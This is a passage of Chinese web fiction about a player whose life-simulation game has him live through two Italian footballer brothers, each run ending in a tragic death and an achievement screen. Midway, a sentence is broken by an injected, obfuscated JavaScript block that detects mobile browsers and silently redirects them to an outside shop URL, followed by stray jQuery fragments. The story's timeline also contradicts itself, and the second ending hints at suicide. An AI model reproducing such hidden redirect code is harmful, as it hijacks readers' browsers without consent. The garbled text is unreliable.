诺瓦点开《第2人生》游戏的那个下午，窗外的阳光正懒洋洋地落在书桌上。在此之前他对足球的全部认知，只有课本里几行关于世界杯的简单介绍，连越位规则都分不太清，纯粹是被游戏商店里“随机人生模拟”的标签吸引，随手点下了下载按钮。
安装完成后，他几乎没犹豫就点进主界面的“随机创建人物”，加载条转了十几秒，屏幕上突然跳出烫金的人物面板，他盯着上面的意大利文看了半天才拼出名字：阿德里亚诺·丰塔纳。
【开局背景：16岁母亲病逝，成为孤儿，带着姐姐安娜森蕊、弟弟菲利斯在米兰老城区的老公寓里相依为命】
【当前节点：1996年，你刚被AC米兰青训营的球探在街头野球场上看中，明天就要去米兰内洛报到】
他抱着“随便试试”的心态点下开始，画面直接切进飘着青草香的训练场。他握着新手柄手忙脚乱，连传球键都按错好几次，可屏幕里那个棕褐色长卷发的少年，却凭着本能抬脚，足球歪打正着划出一道柔和的弧线，精准落在远处队友的脚边。系统立刻弹出提示：【解锁天赋：神级视野+诡异弧线传球】。
他像玩新鲜的闯关游戏一样慢慢摸索，从最基础的带球练起，慢慢摸清了手柄上每一个按键对应的动作。他操控阿德里亚诺每天最早到训练场，最晚一个离开，为了给姐姐安娜森蕊凑数学竞赛的报名费，连着打了三个月的青训营杂工，他完全不懂什么战术体系，只凭着游戏给的天赋直觉传球，却总能把球送到最合理的位置，连游戏里的教练都忍不住在战术板上给他单独画了专属的中场自由活动区。
他误打误撞踢出了无数后来被游戏系统收录进“名场面合集”的传球：欧冠决赛上横跨六十米的弧线助攻，绕开三名防守球员的封堵，精准砸在因扎吉的头顶破门；米兰德比上在中场线原地起脚，足球划出一道几乎不可能的大弧线直接吊进远角。他看着屏幕里的奖杯一座接一座堆起来，连自己都没意识到，已经把古典中场的位置踢成了流动的艺术。
他完全是个足球新手，却误打误撞让阿德里亚诺拿满了所有荣誉：两座金球奖、三次世界足球先生、1992年欧洲杯冠军、1994年世界杯冠军，带着AC米兰拿下五座意甲冠军、4座欧冠冠军，成了游戏里公认的“世一中”。他甚至不知道“世一中”是什么意思，直到某天弹出的游戏提示告诉他，他操控的人物已经成了整个亚平宁足坛的传奇。
时间线走到1995年的米兰德比，他刚按完传球键送出绝杀助攻，屏幕突然剧烈地晃了一下。看台上飞下来的易拉罐砸中阿德里亚诺的后脑，画面瞬间浸满刺目的红色，无论他怎么按手柄上的所有按键，人物都再也站不起来。一周目强制结束，他握着手柄愣了半天，完全没反应过来发生了什么。
周目结算界面缓缓浮起，烫金色的文字一行行跳出来，他盯着屏幕逐字逐句地看，第一次对“足球传奇”这四个字有了实感：
【《第2人生》一周目最终结算】
【操纵人物：阿德里亚诺·丰塔纳】
【生涯总出场：547次，游戏内意甲历史中场助攻纪录保持者（392次）】
【荣誉清单：2座金球奖、3次世界足球先生、2座欧洲金球奖、1994年世界杯冠军、1992年欧洲杯冠军、4座欧冠冠军、5座意甲冠军……达成足坛个人荣誉大满贯】
【俱乐部特殊成就解锁：
「圣西罗的21号王子」：AC米兰生涯零红牌，连续11年入选俱乐部年度最佳阵容，南看台为你永久保留专属空座，球迷支持率连续8年位列意甲第一
「弧线的神」：完成132记30米以上的非常规弧线助攻，其中7记传球轨迹被游戏内体育学院收录为“不可能完成的传球”
「中场的教科书」：亲手培养皮尔洛等世界级中场，直接推动意大利中场黄金时代的到来，你的传球笔记被米兰内洛青训营永久珍藏
「更衣室的大家长」：所有队友好感度拉满，你离世后，俱乐部至今没有安排新球员使用你的专属储物柜】
【开局分支100%完成度：你用整个职业生涯扛起了姐姐和弟弟的人生，安娜森蕊顺利拿到菲尔兹奖，菲利斯成为尤文图斯的传奇中锋，你用自己的肩膀，给了两个家人毫无风雨的前半生】
【隐藏称号解锁：「亚平宁的温柔锚点」——整个意大利足坛都把你当作最可靠的中场核心，只要你站在中圈，所有人都觉得没有赢不下的比赛】
【结局备注：他倒下的那一刻，口袋里还装着刚从训练场自动贩卖机买的、给菲利斯带的橘子糖】
诺瓦擦了擦刚才因为一周目结局泛红的眼尾，手柄还热着，指尖还留着按传球键磨出来的浅印。他连越位规则都刚从百度上看完半懂不懂，就急着点下了“新周目”的按钮，这次没选随机人物，直接在人物列表里找到了那个金发耀眼的名字——菲利斯·丰塔纳。
加载条走完的瞬间，画面直接撞进1995年尤文图斯青年队的训练场。金发少年站在草皮上，发梢被阳光晒得像流动的碎金，浓郁的绿眼睛亮得像刚摘的托斯卡纳橄榄，脚边滚着个磨得掉皮的足球，系统弹出开局提示：【当前年龄20岁，你的哥哥阿德里亚诺刚从AC米兰给你寄来一箱橘子糖，今天是你代表尤文一线队的首秀日】。
他握着新手柄手忙脚乱，连加速键都按得磕磕绊绊。本来想学着别的游戏里的中锋慢慢带球推进，结果手滑把加速键按到底，菲利斯整个人像箭一样从原地弹出去，直接把身边三个防守球员甩出去两米远，连游戏里的解说都惊得破音：“我的天！这是什么启动速度？！” 系统立刻弹出金色提示：【解锁专属天赋：静止爆发冲刺——你的启动速度是游戏内天花板级别，没有任何后卫能跟上你的第一步】。
他完全不懂什么中锋跑位技巧，全凭手滑和直觉乱按，反而踢出了无数根本不符合战术逻辑的名场面：在禁区外站着发呆，突然按到冲刺键直接启动，连人带球从四名防守球员的缝隙里钻过去，一脚爆射把球轰进球门上角；和皮耶罗搭档的时候，他根本没提前商量跑位，手柄随便晃了个方向，两个人却莫名其妙跑出了最默契的二过一配合，连游戏里的尤文教练都把战术板拍得啪啪响，直接把他设成了锋线绝对核心。
他操控菲利斯每天训练结束都抱着球不肯走，在训练场的路灯下练到保安来赶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923482|213497||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人，把阿德里亚诺寄来的橘子糖分给皮耶罗和因扎吉，三个人坐在草皮上啃糖，连游戏里的队友好感度全刷到了满值。他误打误撞带着尤文拿下四座意甲冠军、3座欧冠冠军，自己连拿两座金球奖，成了尤文球迷口中永远的金发白月光，他甚至还没搞懂什么是“单刀球”，就已经把意甲金靴拿到手软。
时间线走到2002年韩日世界杯的八强赛，意大利对阵韩国。他握着手柄全神贯注，眼看着就要锁定胜局，对方防守球员从侧面狠狠撞过来，直接一脚踹在菲利斯的支撑腿上。屏幕瞬间被刺目的红色覆盖，他眼睁睁看着金发少年倒在草皮上，绿眼睛里全是痛出来的生理性泪水，却还是咬着牙爬起来，一瘸一拐地往禁区跑。
游戏突然强制进入剧情，他只能红着眼看着菲利斯拖着整条伤腿踢完了剩下的比赛，带着意大利硬生生闯进决赛，最后捧起了大力神杯。可终场哨声吹响的那一刻，菲利斯直接倒在领奖台上，再也站不起来。游戏强制推进剧情，他看着菲利斯躺在医院的病床上，曾经能跑出世界最快第一步的腿，现在连抬起来的力气都没有，黑哨的判罚记录一页页弹出来，他看着屏幕里那个曾经永远笑着的阳光少年，眼神一点点暗下去。
结局画面停在都灵公寓的浴缸边，水流漫过瓷砖，旁边放着半袋没吃完的橘子糖。二周目强制结束，他握着手柄僵在原地，半天没回过神。
二周目结算界面缓缓浮起，烫金色的文字一行行跳出来，他盯着屏幕，眼泪直接砸在了手柄上：
【《第2人生》二周目最终结算】
【操纵人物：菲利斯·丰塔纳】
【生涯总出场：512次，游戏内意甲历史射手榜第三（317球）】
【荣誉清单：2座金球奖、2次世界足球先生、2002年世界杯冠军、3座欧冠冠军、4座意甲冠军……达成足坛个人荣誉大满贯】
【俱乐部特殊成就解锁：
「都灵的金发太阳」：尤文图斯队史最年轻金靴得主，连续7年入选意甲年度最佳阵容，尤文主场的北看台为你绘制了永久巨幅壁画，球迷至今保留着赛前往壁画下放橘子糖的传统
「第一步的神」：完成187次静止爆发冲刺过人，其中42次直接连过数人破门，你的启动技巧被游戏内所有青训教材列为中锋必修课
「锋线的双子星」：和皮耶罗的搭档出场胜率高达89%，和因扎吉在国家队的锋线组合被称为“不可能被防守的黄金搭档”，两个人的配合录像至今是国家队训练的必看素材
「永远的场上小狗」：全联赛所有对手球员好感度拉满，哪怕是赛场上的死敌，赛后都会主动过来和你交换球衣，没人能拒绝你的阳光笑容】
【开局分支100%完成度：你靠着哥哥阿德里亚诺的支持，从街头野球场的小屁孩，成长为尤文图斯的传奇旗帜，你把纯粹的热爱，全留在了你最爱的草皮上】
【隐藏称号解锁：「绿茵场上的追风者」——你跑过的每一片草皮，都记得你金发飞扬的样子，足球对你来说，永远是最纯粹的热爱】
【结局备注：他走的那天，口袋里还装着阿德里亚诺上周刚寄来的、没拆封的橘子糖】